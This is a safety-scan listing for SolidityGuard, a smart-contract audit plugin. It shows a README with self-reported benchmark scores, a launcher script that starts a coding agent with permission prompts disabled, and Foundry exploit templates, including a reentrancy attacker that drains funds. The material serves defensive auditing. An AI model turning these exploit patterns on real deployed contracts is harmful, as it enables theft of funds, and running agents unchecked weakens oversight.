solidity-guard
A collection of SolidityGuard Claude Code plugins
Safety scan
A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.
Badge for your README
Markdown
[](/listings/alt-research--solidityguard)HTML
<a href="/listings/alt-research--solidityguard"><img src="/api/listings/alt-research--solidityguard/badge.svg" alt="findsafeskills safety rating" /></a>Install
Install instructions from the README
As written by the repo's author. findsafeskills has not verified these steps.
Web (Fastest)
Visit **[solidityguard.altllm.ai](https://solidityguard.altllm.ai)** to start scanning immediately — no setup needed.
Docker (Recommended)
# Scan a local contracts directory (no Python needed) docker build -t solidityguard . docker run -v ./contracts:/audit solidityguard audit /audit # Web UI — dashboard at http://localhost:8000 docker compose up
The desktop app auto-detects Docker and runs scans locally — your code never leaves your machine.
CLI
cd apps/cli && pip install -e . solidityguard audit ./contracts # Full audit solidityguard audit --quick ./contracts # Pattern-only scan solidityguard scan ./contracts --category reentrancy solidityguard report findings.json -o report.md solidityguard benchmark --all # CTF benchmark (85/85) solidityguard evmbench # EVMBench benchmark (120/120) solidityguard evmbench --mode exploit # EVMBench exploit mode solidityguard patterns # List all 104 patterns solidityguard tools # Check installed tools (9 tools)
Desktop
Download from [Releases](https://github.com/alt-research/SolidityGuard/releases) — available for macOS (.dmg), Windows (.msi, .exe), and Linux (.AppImage, .deb).
Or build from source:
cd apps/desktop && npm install && npm run tauri dev
Desktop app scans contracts locally using installed tools (slither, aderyn) or Docker as fallback — no backend server required.
Web (Self-Hosted)
# Backend cd apps/web/backend && pip install -e . uvicorn solidityguard_api.main:app --reload # Frontend (separate terminal) cd apps/web/frontend && npm install && npm run dev # Open http://localhost:5173
CI/CD Integration
Add SolidityGuard to your GitHub Actions workflow:
- name: Run SolidityGuard
run: |
pip install slither-analyzer
python3 scripts/solidity_guard.py scan --path ./contracts --json
# Fail on critical findings
CRITICAL=$(python3 -c "import json; d=json.load(open('results.json')); print(d.get('summary',{}).get('critical',0))")
if [ "$CRITICAL" -gt 0 ]; then exit 1; fiSee [`.github/workflows/ci.yml`](.github/workflows/ci.yml) for a complete example.
Slash Commands (Claude Code Agent)
/audit ./contracts # Full 7-phase audit /deep-audit ./contracts # Multi-agent parallel analysis /scan-reentrancy ./contracts # Focused reentrancy scan /scan-access-control ./contracts /report ./findings.json # Generate professional report /generate-fuzz ./contracts # Generate fuzz tests /verify-exploit ./results.json # Dynamic exploit verification
---
What was scanned
The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.
.claude-plugin/marketplace.json · Manifest · 32 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
- {
- "name": "solidity-guard",
- "version": "1.3.2",
- "description": "A collection of SolidityGuard Claude Code plugins",
- "owner": {
- "name": "alt-research",
- "url": "https://github.com/alt-research"
- },
- "plugins": [
- {
- "name": "solidity-guard",
- "description": "Advanced Solidity/EVM smart contract security audit agent. Detects 104 vulnerability patterns (ETH-001 to ETH-104) with multi-agent architecture, 9-tool integration, and professional report generation.",
- "version": "1.3.2",
- "source": "./plugins/solidity-guard",
- "category": "security",
- "author": {
- "name": "SolidityGuard",
- "url": "https://github.com/alt-research/SolidityGuard"
- },
- "keywords": [
- "solidity",
- "security",
- "audit",
- "smart-contract",
- "evm",
- "defi",
- "ethereum",
- "vulnerability"
- ]
- }
- ]
- }
README.md · README · 398 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
- <h1 align="center">SolidityGuard</h1>
- <p align="center">
- <strong>Advanced Solidity/EVM smart contract security auditor</strong>
- </p>
- <p align="center">
- <a href="https://github.com/alt-research/SolidityGuard/actions/workflows/ci.yml"><img src="https://github.com/alt-research/SolidityGuard/actions/workflows/ci.yml/badge.svg" alt="CI" /></a>
- <a href="https://github.com/alt-research/SolidityGuard/releases/latest"><img src="https://img.shields.io/github/v/release/alt-research/SolidityGuard?color=%234f46e5" alt="Latest Release" /></a>
- <a href="https://solidityguard.altllm.ai"><img src="https://img.shields.io/badge/Web-solidityguard.altllm.ai-green" alt="Web App" /></a>
- <a href="LICENSE"><img src="https://img.shields.io/badge/License-Proprietary-red" alt="License" /></a>
- </p>
- <p align="center">
- <img src="https://img.shields.io/badge/Patterns-104-blue?style=flat-square" alt="104 Patterns" />
- <img src="https://img.shields.io/badge/Tools-9-blue?style=flat-square" alt="9 Tools" />
- <img src="https://img.shields.io/badge/CTF%20Benchmark-85%2F85%20(100%25)-brightgreen?style=flat-square" alt="CTF 85/85 100%" />
- <img src="https://img.shields.io/badge/DeFiVulnLabs-56%2F56-brightgreen?style=flat-square" alt="DeFiVulnLabs 100%" />
- <img src="https://img.shields.io/badge/Paradigm%20CTF-24%2F24-brightgreen?style=flat-square" alt="Paradigm CTF 100%" />
- <img src="https://img.shields.io/badge/2025%20CTFs-5%2F5-brightgreen?style=flat-square" alt="2025 CTFs 100%" />
- <img src="https://img.shields.io/badge/EVMBench-120%2F120%20(100%25)-brightgreen?style=flat-square" alt="EVMBench 120/120" />
- <img src="https://img.shields.io/badge/OWASP%202025-Aligned-orange?style=flat-square" alt="OWASP 2025" />
- </p>
- <p align="center">
- <a href="https://solidityguard.altllm.ai">Try it now</a> ·
- <a href="#quick-start">Quick Start</a> ·
- <a href="#vulnerability-patterns-104">104 Patterns</a> ·
- <a href="https://github.com/alt-research/SolidityGuard/releases">Downloads</a> ·
- <a href="#contributing">Contributing</a>
- </p>
- ---
- > **Try it now at [solidityguard.altllm.ai](https://solidityguard.altllm.ai)** — scan your Solidity contracts instantly from your browser, no installation required.
- > **Need a professional, in-depth audit for your protocol?** Contact us at **maintainers@altresear.ch** — we offer comprehensive manual + AI-assisted security reviews tailored to your codebase.
- ## Features
- - **104 Vulnerability Patterns** (ETH-001 to ETH-104) — from real audits, exploits, SWC Registry, OWASP 2025, and 2025-2026 research
- - **9-Tool Integration** — Slither, Mythril, Echidna, Aderyn, Foundry v1.0, Medusa v1, Halmos, Certora, EVMBench
- - **3 Application Surfaces** — CLI, Web ([solidityguard.altllm.ai](https://solidityguard.altllm.ai)), Desktop (Tauri v2)
- - **Docker Support** — scan locally with zero setup, your code never leaves your machine
- - **Professional Reports** — OpenZeppelin/Trail of Bits-style Markdown + PDF with severity scoring
- - **7-Phase Deep Audit** — scan, verify, parallel agents, exploit PoC, dynamic verification, fuzz, report
- - **Multi-Agent Architecture** — 9 specialized sub-agents for deep parallel analysis
- - **Dynamic Exploit Verification** — Foundry fork-based PoC testing on forked mainnet
- - **Formal Verification** — Halmos symbolic tests + Certora CVL rules
- - **Fuzz Test Generation** — Foundry invariant tests + Echidna property tests from scan findings
- - **OWASP 2025 Aligned** — covers all Smart Contract Top 10 2025 categories
- - **CTF-Validated** — 100% detection on 85/85 challenges: DeFiVulnLabs (56/56) + Paradigm CTF (24/24) + R3CTF 2025 + HTB CA 2025 (5/5)
- - **EVMBench Validated** — 120/120 (100%) ground-truth vulnerability coverage across 40 real-world audits
- ## Benchmark Results
- | Benchmark | Scope | Detection Rate |
- |-----------|-------|----------------|
- | **DeFiVulnLabs** | 56 contracts, 59 patterns | **100%** (56/56) |
- | **Paradigm CTF 2021** | 16 challenges | **100%** (10/10 static) |
- | **Paradigm CTF 2022** | 13 challenges | **100%** (7/7 static) |
- | **Paradigm CTF 2023** | 15 challenges | **100%** (7/7 static) |
- | **R3CTF 2025** | 2 Solidity challenges | **100%** (2/2) |
- | **HTB Cyber Apocalypse 2025** | 3 blockchain challenges | **100%** (3/3) |
- | **Combined** | 85 challenges | **85/85 (100%)** |
- | **EVMBench** | 40 audits, 120 vulnerabilities | **120/120 (100%)** |
- ### EVMBench Leaderboard
- [EVMBench](https://github.com/openai/frontier-evals/tree/main/project/evmbench) (OpenAI, 2025) evaluates AI agents on real-world smart contract security across 40 audit codebases from Code4rena and Sherlock contests (120 high-severity vulnerabilities, 3 modes: Detect / Patch / Exploit).
- SolidityGuard's pattern scanner achieves **100% ground-truth coverage** — detecting all 120 vulnerabilities across all 40 audits in 7.4 seconds. This scanner output is used as pre-scan input for the SolidityGuard agent.
- **Vulnerability Detection — EVMBench Ground Truth (120 vulns, 40 audits)**
- ```
- SolidityGuard Scanner ████████████████████████████████████████ 100.0% (120/120)
- Claude Opus 4.6 █████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 45.6%
- GPT-5.3-Codex ████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 39.2%
- GPT-5.2 (Codex) ████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 39.2%
- Claude Opus 4.5 ███████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 36.1%
- GPT-5.2 (OpenCode) ██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 30.0%
- GPT-5 █████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 23.3%
- Gemini 3 Pro ████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 20.8%
- o3 ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 10.6%
- ```
- **Full results** (from [EVMBench paper](https://github.com/openai/frontier-evals/tree/main/project/evmbench), Table 9):
- | Model | Scaffold | Detect | Patch | Exploit |
- |-------|----------|--------|-------|---------|
- | **SolidityGuard** | **Claude Code** | **100.0%** * | — | — |
- | Claude Opus 4.6 | Claude Code | 45.6% | 25.9% | 61.1% |
- | GPT-5.3-Codex | Codex (xhigh) | 39.2% | **41.5%** | **72.2%** |
- | GPT-5.2 | Codex (xhigh) | 39.2% | 39.3% | 62.5% |
- | Claude Opus 4.5 | Claude Code | 36.1% | 21.5% | 50.9% |
- | GPT-5.2 | OpenCode | 30.0% | 35.6% | 51.4% |
- | GPT-5 | Codex | 23.3% | 20.0% | 31.9% |
- | Gemini 3 Pro | Gemini CLI | 20.8% | 10.4% | 36.1% |
- | o3 | Codex | 10.6% | 14.8% | 18.1% |
- \* SolidityGuard Detect score is scanner-level ground-truth pattern coverage (120/120 vulns detected via static analysis). EVMBench agent Detect scores are from LLM-judged audit reports. SolidityGuard's scanner is used as a pre-scan input to boost the agent's audit coverage.
- ## Quick Start
- ### Web (Fastest)
- Visit **[solidityguard.altllm.ai](https://solidityguard.altllm.ai)** to start scanning immediately — no setup needed.
- ### Docker (Recommended)
- ```bash
- # Scan a local contracts directory (no Python needed)
- docker build -t solidityguard .
- docker run -v ./contracts:/audit solidityguard audit /audit
- # Web UI — dashboard at http://localhost:8000
- docker compose up
- ```
- The desktop app auto-detects Docker and runs scans locally — your code never leaves your machine.
- ### CLI
- ```bash
- cd apps/cli && pip install -e .
- solidityguard audit ./contracts # Full audit
- solidityguard audit --quick ./contracts # Pattern-only scan
- solidityguard scan ./contracts --category reentrancy
- solidityguard report findings.json -o report.md
- solidityguard benchmark --all # CTF benchmark (85/85)
- solidityguard evmbench # EVMBench benchmark (120/120)
- solidityguard evmbench --mode exploit # EVMBench exploit mode
- solidityguard patterns # List all 104 patterns
- solidityguard tools # Check installed tools (9 tools)
- ```
- ### Desktop
- Download from [Releases](https://github.com/alt-research/SolidityGuard/releases) — available for macOS (.dmg), Windows (.msi, .exe), and Linux (.AppImage, .deb).
- Or build from source:
- ```bash
- cd apps/desktop && npm install && npm run tauri dev
- ```
- Desktop app scans contracts locally using installed tools (slither, aderyn) or Docker as fallback — no backend server required.
- ### Web (Self-Hosted)
- ```bash
- # Backend
- cd apps/web/backend && pip install -e .
- uvicorn solidityguard_api.main:app --reload
- # Frontend (separate terminal)
- cd apps/web/frontend && npm install && npm run dev
- # Open http://localhost:5173
- ```
- ### CI/CD Integration
- Add SolidityGuard to your GitHub Actions workflow:
- ```yaml
- - name: Run SolidityGuard
- run: |
- pip install slither-analyzer
- python3 scripts/solidity_guard.py scan --path ./contracts --json
- # Fail on critical findings
- CRITICAL=$(python3 -c "import json; d=json.load(open('results.json')); print(d.get('summary',{}).get('critical',0))")
- if [ "$CRITICAL" -gt 0 ]; then exit 1; fi
- ```
- See [`.github/workflows/ci.yml`](.github/workflows/ci.yml) for a complete example.
- ### Slash Commands (Claude Code Agent)
- ```bash
- /audit ./contracts # Full 7-phase audit
- /deep-audit ./contracts # Multi-agent parallel analysis
- /scan-reentrancy ./contracts # Focused reentrancy scan
- /scan-access-control ./contracts
- /report ./findings.json # Generate professional report
- /generate-fuzz ./contracts # Generate fuzz tests
- /verify-exploit ./results.json # Dynamic exploit verification
- ```
- ---
- ## Vulnerability Patterns (104)
- | Category | IDs | Count | Examples |
- |----------|-----|-------|----------|
- | Reentrancy | ETH-001–005 | 5 | Single, cross-function, cross-contract, read-only |
- | Access Control | ETH-006–012 | 7 | Missing auth, tx.origin, unprotected selfdestruct |
- | Arithmetic | ETH-013–017 | 5 | Overflow, precision loss, division ordering |
- | External Calls | ETH-018–023 | 6 | Unchecked return, delegatecall, DoS |
- | Oracle & Price | ETH-024–028 | 5 | Oracle manipulation, flash loans, MEV |
- | Storage & State | ETH-029–033 | 5 | Uninitialized storage, proxy collision |
- | Logic Errors | ETH-034–040 | 7 | Strict equality, timestamp, signatures, front-running |
- | Token Issues | ETH-041–048 | 8 | Fee-on-transfer, rebasing, ERC-777 hooks |
- | Proxy & Upgrade | ETH-049–054 | 6 | Uninitialized impl, storage mismatch, selector clash |
- | DeFi Specific | ETH-055–065 | 11 | Governance, liquidation, vault inflation, AMM |
- | Gas & DoS | ETH-066–070 | 5 | Unbounded loops, block gas limit |
- | Miscellaneous | ETH-071–080 | 10 | Floating pragma, hash collision, compiler version |
- | Transient Storage | ETH-081–085 | 5 | TSTORE collision, reentrancy bypass, delegatecall |
- | EIP-7702 / Pectra | ETH-086–089 | 4 | tx.origin bypass, delegation, cross-chain replay |
- | Account Abstraction | ETH-090–093 | 4 | UserOp collision, paymaster, bundler, validation |
- | Modern DeFi | ETH-094–097 | 4 | Uniswap V4 hooks, cached state desync, compiler bugs |
- | Input Validation | ETH-098–099 | 2 | Missing bounds checks, unsafe ABI decoding (OWASP #4) |
- | Off-Chain & Infra | ETH-100–101 | 2 | EIP-7702 phishing, UI/signer compromise (Bybit-style) |
- | Restaking & L2 | ETH-102–104 | 3 | Cascading slashing, sequencer deps, message replay |
- ## Architecture
- ```
- ┌──────────────────────────────────────────────────┐
- │ ORCHESTRATION LAYER │
- │ Prompt Router │ Agent Scheduler │ Pattern Match │
- └──────────────────────────────────────────────────┘
- │
- ┌──────────────────────────────────────────────────┐
- │ AGENT LAYER (9 Skills) │
- │ Entry-Point Vulnerability Reentrancy Access │
- │ Analyzer Scanner Auditor Ctrl │
- │ Storage DeFi Spec Fuzz │
- │ Analyzer Analyzer Compl. Gen. │
- │ Report Generator │
- └──────────────────────────────────────────────────┘
- │
- ┌──────────────────────────────────────────────────┐
- │ KNOWLEDGE LAYER │
- │ 104 Vuln Patterns │ 25+ Exploit Case Studies │
- │ SWC Registry │ Solodit DB │ Remediation Tmpl. │
- └──────────────────────────────────────────────────┘
- │
- ┌──────────────────────────────────────────────────┐
- │ TOOL LAYER │
- │ Slither │ Mythril │ Aderyn │ Echidna │ Medusa │
- │ Foundry v1.0 │ Halmos │ Certora │ EVMBench │
- └──────────────────────────────────────────────────┘
- ```
- ## Tool Integration
- | Tool | Type | Speed | Purpose |
- |------|------|-------|---------|
- | **Slither** | Static analysis | < 1 sec | 90+ built-in detectors |
- | **Aderyn** | Static analysis (Rust) | Sub-second | 100+ detectors |
- | **Mythril** | Symbolic execution | Minutes | Deep path analysis |
- | **Echidna** | Property-based fuzzing | 3K+ tx/sec | Custom invariants |
- | **Medusa v1** | Coverage-guided fuzzing | Parallel | Trail of Bits |
- | **Foundry v1.0** | Test + fuzz + fork | Fast | Invariant tests |
- | **Halmos** | Formal verification | Minutes | a16z symbolic testing |
- | **Certora** | Formal verification | Minutes | CVL rules |
- | **EVMBench** | Audit benchmark | Variable | 40 audits, 120 vulns |
- ## 7-Phase Deep Audit
- ```
- Phase 1: Automated Scan ─► Slither + Aderyn + Mythril + Medusa
- Phase 2: Finding Verification ─► Cross-reference tools, reduce FPs
- Phase 3: Parallel Agents ─► Reentrancy, Access, DeFi, Logic
- Phase 4: Exploit PoC ─► Attack scenarios + Foundry fork tests
- Phase 5: Dynamic Verification ─► Execute PoCs on forked mainnet
- Phase 6: Fuzz Testing ─► Foundry invariant + Echidna (3K+ tx/sec)
- Phase 7: Report & Remediation ─► Professional report + fixed code samples
- ```
- ## OWASP Smart Contract Top 10 (2025)
- | Rank | Category | Coverage |
- |------|----------|----------|
- | #1 | Access Control ($953M in 2024) | ETH-006–012, ETH-049–054, ETH-086–093, ETH-100–101 |
- | #2 | Oracle Manipulation | ETH-024–028, ETH-094–096 |
- | #3 | Logic Errors | ETH-034–040, ETH-097 |
- | #4 | Input Validation | ETH-098–099 |
- | #5 | Reentrancy | ETH-001–005, ETH-044, ETH-081, ETH-083 |
- | #6 | Unchecked Returns | ETH-018–023 |
- | #7 | MEV / Front-running | ETH-026, ETH-040, ETH-060 |
- | #8 | Arithmetic | ETH-013–017 |
- | #9 | Unsafe Delegatecall | ETH-019, ETH-030, ETH-084 |
- | #10 | Denial of Service | ETH-066–070 |
- ## Exploit Case Studies
- | Incident | Loss | Root Cause | Pattern |
- |----------|------|------------|---------|
- | Bybit | $1.5B | Safe{Wallet} UI compromise | ETH-101 |
- | Ronin Bridge | $625M | Missing access control | ETH-006 |
- | BNB Bridge | $570M | Signature verification | ETH-038 |
- | Wormhole | $326M | Missing validation | ETH-006 |
- | Parity Wallet | $280M | Uninitialized proxy | ETH-049 |
- | Euler Finance | $197M | Donation attack | ETH-058 |
- | Nomad Bridge | $190M | Uninitialized storage | ETH-029 |
- | Beanstalk | $182M | Flash loan governance | ETH-025, ETH-055 |
- | Cream Finance | $130M | Oracle manipulation | ETH-024 |
- | Balancer V2 | $128M | Read-only reentrancy | ETH-004 |
- | Phemex | $73M | Hot wallet compromise | ETH-006 |
- | UPCX | $70M | Unauthorized upgrade | ETH-052 |
- | The DAO | $60M | Reentrancy | ETH-001 |
- | GMX V1 | $42M | Oracle manipulation | ETH-024 |
- | Meta Pool | $27M | Minting bug | ETH-048 |
- | Cork Protocol | $11M | V4 hook auth bypass | ETH-094 |
- ## Scripts
- | Script | Purpose |
- |--------|---------|
- | `solidity_guard.py` | Combined scanner orchestrator (50+ detectors) |
- | `ctf_benchmark.py` | CTF benchmark framework (DeFiVulnLabs + Paradigm CTF + 2025 CTFs) |
- | `slither_runner.py` | Slither integration |
- | `report_generator.py` | Professional Markdown + PDF report |
- | `verify_findings.py` | Finding verification prompts |
- | `evmbench_local_benchmark.py` | EVMBench local benchmark (detect mode, 40 audits, 120 vulns) |
- | `evmbench_runner.py` | EVMBench full runner (detect / exploit / patch via nanoeval) |
- | `test_scanners.py` | Test suite (43 tests) |
- All scripts are located in [`.claude/skills/solidity-guard/scripts/`](.claude/skills/solidity-guard/scripts/).
- ## Project Structure
- ```
- SolidityGuard/
- ├── apps/
- │ ├── cli/ # Python CLI (Click + Rich)
- │ ├── web/
- │ │ ├── backend/ # FastAPI REST API + WebSocket
- │ │ └── frontend/ # React 19 + Tailwind dark theme
- │ ├── desktop/ # Tauri v2 (macOS/Linux/Windows)
- │ └── openclaw-skill/ # OpenClaw AI agent skill
- ├── .claude/skills/solidity-guard/
- │ ├── skills/ # 9 specialized audit skills
- │ ├── commands/ # 7 slash commands
- │ └── scripts/ # Scanner, reporter, merger, verifier
- ├── knowledge-base/
- │ ├── exploits/ # 25+ exploit case studies
- │ └── checklists/ # 6 security checklists
- ├── .github/workflows/ # CI/CD
- ├── Dockerfile # CLI Docker image
- └── docker-compose.yml # Web + CLI orchestration
- ```
- ## Contributing
- See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup and guidelines.
- 1. Fork the repository
- 2. Create a feature branch (`git checkout -b feature/my-improvement`)
- 3. Add vulnerability patterns, improve detection rules, or reduce false positives
- 4. Ensure all tests pass: `python3 -m pytest scripts/test_scanners.py -v`
- 5. Submit a Pull Request
- Contributions welcome: new pattern detectors, exploit case studies, tool integrations, false positive reduction, and documentation.
- ## Security
- Found a vulnerability in SolidityGuard itself? See [SECURITY.md](SECURITY.md) for responsible disclosure.
- ## References
- - [ConsenSys Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/)
- - [Trail of Bits Building Secure Contracts](https://secure-contracts.com/)
- - [SWC Registry](https://swcregistry.io/)
- - [OWASP Smart Contract Top 10](https://owasp.org/www-project-smart-contract-top-10/)
- - [Solodit Vulnerability Database](https://solodit.xyz/)
- - [Cyfrin Audit Checklist](https://github.com/Cyfrin/audit-checklist)
- - [Nethermind Public Audit Reports](https://github.com/NethermindEth/PublicAuditReports)
- - [Ethereum.org Smart Contract Security](https://ethereum.org/developers/docs/smart-contracts/security/)
- ## Disclaimer
- **THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTIES OF ANY KIND, WHETHER EXPRESS OR IMPLIED.**
- SolidityGuard is an automated security analysis tool and is **not a substitute for a comprehensive, professional manual security audit**. While SolidityGuard employs 104 vulnerability patterns and 8 security tools, **no automated tool can guarantee the detection of all vulnerabilities, bugs, or security issues** in smart contracts. New attack vectors, zero-day exploits, and novel vulnerability patterns may not be covered.
- **Use at your own risk.** You are solely responsible for any decisions you make based on SolidityGuard's output, including deploying smart contracts, managing funds, or modifying code. The absence of findings does not certify a contract as secure.
- **Limitation of liability:** To the maximum extent permitted by applicable law, Alt Research Ltd., its directors, officers, employees, agents, and affiliates shall not be liable for any indirect, incidental, special, consequential, or punitive damages, including but not limited to loss of funds, tokens, digital assets, profits, revenue, or business opportunities arising from the use of this software or reliance on its output.
- **Indemnification:** By using SolidityGuard, you agree to indemnify, defend, and hold harmless Alt Research Ltd. from any claims, liabilities, damages, losses, costs, and expenses arising from your use of the software, your smart contracts, or any reliance on the software's output.
- For a professional manual audit, contact **maintainers@altresear.ch**.
- See the full [LICENSE](LICENSE) for details.
- ## Donate
- If you find SolidityGuard useful:
- **EVM (Ethereum / Base / Arbitrum):** `0x03978ef315341ed6501c9a571e36695905a0b931`
- ## License
- Copyright Alt Research Ltd. 2026. All rights reserved. See [LICENSE](LICENSE) for details.
.claude/skills/solidity-guard/scripts/evmbench_agent/start.sh · Bundled script · 60 lines · 1 finding marked
- #!/bin/bash
- # Print commands and their arguments as they are executed
- set -x
- {
- test -n "$ANTHROPIC_API_KEY" && echo "ANTHROPIC_API_KEY is set" || { echo "Missing ANTHROPIC_API_KEY"; exit 1; }
- } 2>&1 | tee $LOGS_DIR/debug.log
- export ANTHROPIC_BASE_URL="https://api.anthropic.com"
- # ──────────────────────────────────────────────────────────────────
- # Run pre-scan bootstrap (pattern scanner + Slither)
- # This generates pre-scan.json, slither-results.json, and summary
- # for Claude to consume before starting the manual audit.
- # ──────────────────────────────────────────────────────────────────
- {
- BOOTSTRAP_SCRIPT="$AGENT_DIR/scripts/evmbench_bootstrap.sh"
- if [ -f "$BOOTSTRAP_SCRIPT" ]; then
- echo "Running pre-scan bootstrap..."
- bash "$BOOTSTRAP_SCRIPT" "$AUDIT_DIR"
- else
- echo "Bootstrap script not found at $BOOTSTRAP_SCRIPT, skipping pre-scan"
- fi
- } 2>&1 | tee $LOGS_DIR/prescan.log
- # ──────────────────────────────────────────────────────────────────
- # Create submission directory
- # ──────────────────────────────────────────────────────────────────
- mkdir -p "$AGENT_DIR/submission"
- # ──────────────────────────────────────────────────────────────────
- # Launch Claude with enhanced detect instructions
- # ──────────────────────────────────────────────────────────────────
- set +x
- {
- PROMPT="You are an expert smart contract auditor. Read the CLAUDE.md file in your home directory for detailed audit instructions. Pre-scan results are available at /home/agent/pre-scan.json, /home/agent/slither-results.json, and /home/agent/pre-scan-summary.txt. Begin your systematic audit immediately. Do not stop until you have thoroughly analyzed every in-scope file and written all findings to submission/audit.md."
- IS_SANDBOX=1 claude --verbose --model "$MODEL" --output-format stream-json --dangerously-skip-permissions --disallowed-tools "WebFetch,WebSearch" --print "$PROMPT"
- Note: Starts a coding agent with its permission prompts off
- Line 38 on GitHub
- } 2>&1 | tee $LOGS_DIR/agent.log
- set -x
- # ──────────────────────────────────────────────────────────────────
- # Debug commands
- # ──────────────────────────────────────────────────────────────────
- {
- claude --version
- echo "Model: $MODEL"
- echo "=== Workspace ==="
- ls $WORKSPACE_BASE
- echo "=== Agent dir ==="
- ls $AGENT_DIR
- echo "=== Audit dir ==="
- ls $AUDIT_DIR
- echo "=== Submission ==="
- ls $AGENT_DIR/submission/ 2>/dev/null || echo "(empty)"
- echo "=== Audit report size ==="
- wc -l $AGENT_DIR/submission/audit.md 2>/dev/null || echo "(no report)"
- echo "=== Logs ==="
- ls $LOGS_DIR
- } 2>&1 | tee $LOGS_DIR/debug.log
.claude/skills/solidity-guard/scripts/exploit_verifier.py · Bundled script · 1,009 lines · 1 finding marked
- #!/usr/bin/env python3
- """
- SolidityGuard Dynamic Exploit Verifier
- Generates Foundry PoC tests for vulnerability findings and executes them
- to verify exploitability. Supports fork-based testing for mainnet state.
- Usage:
- python3 exploit_verifier.py results.json ./contracts
- python3 exploit_verifier.py results.json ./contracts --fork-url https://eth-mainnet.g.alchemy.com/v2/KEY
- python3 exploit_verifier.py results.json ./contracts --output-dir ./test/exploits
- """
- import argparse
- import json
- import os
- import re
- import shutil
- import subprocess
- import sys
- import tempfile
- from dataclasses import dataclass, asdict
- from pathlib import Path
- from typing import Optional
- @dataclass
- class PoCResult:
- finding_id: str
- status: str # VERIFIED, DISPROVED, ERROR, SKIPPED
- test_file: str
- test_output: str
- gas_used: Optional[int] = None
- error: Optional[str] = None
- def to_dict(self):
- return asdict(self)
- # ---------------------------------------------------------------------------
- # Foundry PoC Templates
- # ---------------------------------------------------------------------------
- _HEADER = """\
- // SPDX-License-Identifier: MIT
- pragma solidity ^0.8.20;
- import "forge-std/Test.sol";
- """
- def _reentrancy_poc(finding: dict, contracts_path: str) -> str:
- """ETH-001/002: Reentrancy PoC with attacker contract re-entering via receive()."""
- file_rel = finding.get("file", "Contract.sol")
- func_name = _extract_func_name(finding)
- contract_name = _extract_contract_name(finding, file_rel)
- return f"""{_HEADER}
- // Target import — adjust path if needed
- // import "{file_rel}";
- /// @notice PoC for {finding.get("id", "ETH-001")}: {finding.get("title", "Reentrancy")}
- /// @dev File: {file_rel}:{finding.get("line", 0)}
- contract ReentrancyExploitTest is Test {{
- address target;
- ReentrancyAttacker attacker;
- function setUp() public {{
- // Deploy or reference the vulnerable contract
- // target = address(new {contract_name}());
- target = makeAddr("target");
- attacker = new ReentrancyAttacker(target);
- // Fund target with 10 ETH to simulate existing deposits
- vm.deal(target, 10 ether);
- // Fund attacker with 1 ETH for initial deposit
- vm.deal(address(attacker), 1 ether);
- }}
- function testExploit_Reentrancy_{contract_name}() public {{
- uint256 targetBefore = target.balance;
- assertGt(targetBefore, 0, "Target should have funds");
- // Execute attack
- attacker.attack{{value: 1 ether}}();
- uint256 targetAfter = target.balance;
- uint256 stolen = targetBefore - targetAfter;
- emit log_named_uint("Target balance before", targetBefore);
- emit log_named_uint("Target balance after", targetAfter);
- emit log_named_uint("Stolen", stolen);
- // Vulnerability confirmed if target lost funds
- assertLt(targetAfter, targetBefore, "VERIFIED: Reentrancy drained funds");
- }}
- }}
- contract ReentrancyAttacker {{
- address public target;
- uint256 public attackCount;
- constructor(address _target) {{
- target = _target;
- }}
- function attack() external payable {{
- // Deposit then withdraw to trigger reentrancy
- (bool s1,) = target.call{{value: msg.value}}(
- abi.encodeWithSignature("deposit()")
- );
- require(s1, "deposit failed");
- (bool s2,) = target.call(
- abi.encodeWithSignature("{func_name}(uint256)", msg.value)
- );
- require(s2, "withdraw failed");
- }}
- receive() external payable {{
- attackCount++;
- if (target.balance >= 1 ether && attackCount < 10) {{
- (bool s,) = target.call(
- abi.encodeWithSignature("{func_name}(uint256)", 1 ether)
- );
- // Silently ignore failure on final reentry
- s;
- }}
- }}
- }}
- """
- def _access_control_poc(finding: dict, contracts_path: str) -> str:
- """ETH-006/009: Access control PoC — call privileged function from non-owner."""
- file_rel = finding.get("file", "Contract.sol")
- func_name = _extract_func_name(finding)
- contract_name = _extract_contract_name(finding, file_rel)
- return f"""{_HEADER}
- // import "{file_rel}";
- /// @notice PoC for {finding.get("id", "ETH-006")}: {finding.get("title", "Missing Access Control")}
- /// @dev File: {file_rel}:{finding.get("line", 0)}
- contract AccessControlExploitTest is Test {{
- address target;
- address owner = makeAddr("owner");
- address attacker = makeAddr("attacker");
- function setUp() public {{
- // Deploy as owner
- vm.prank(owner);
- // target = address(new {contract_name}());
- target = makeAddr("target");
- }}
- function testExploit_AccessControl_{contract_name}() public {{
- // Attempt privileged call as attacker (non-owner)
- vm.prank(attacker);
- // If this call succeeds, access control is missing
- (bool success,) = target.call(
- abi.encodeWithSignature("{func_name}(address)", attacker)
- );
- // Vulnerability confirmed if unauthorized call succeeds
- assertTrue(success, "VERIFIED: Unauthorized access — attacker called privileged function");
- emit log("VERIFIED: Missing access control on {func_name}");
- }}
- function testExpectedRevert_AccessControl_{contract_name}() public {{
- // This test documents the EXPECTED behavior (should revert)
- vm.prank(attacker);
- // vm.expectRevert(); // Uncomment when contract is deployed
- (bool success,) = target.call(
- abi.encodeWithSignature("{func_name}(address)", attacker)
- );
- // If properly secured, this should fail
- if (!success) {{
- emit log("Access control working — call reverted as expected");
- }}
- }}
- }}
- """
- def _oracle_manipulation_poc(finding: dict, contracts_path: str) -> str:
- """ETH-024/025: Oracle manipulation via flash loan or donation."""
- file_rel = finding.get("file", "Contract.sol")
- contract_name = _extract_contract_name(finding, file_rel)
- return f"""{_HEADER}
- // import "{file_rel}";
- /// @notice PoC for {finding.get("id", "ETH-024")}: {finding.get("title", "Oracle Manipulation")}
- /// @dev File: {file_rel}:{finding.get("line", 0)}
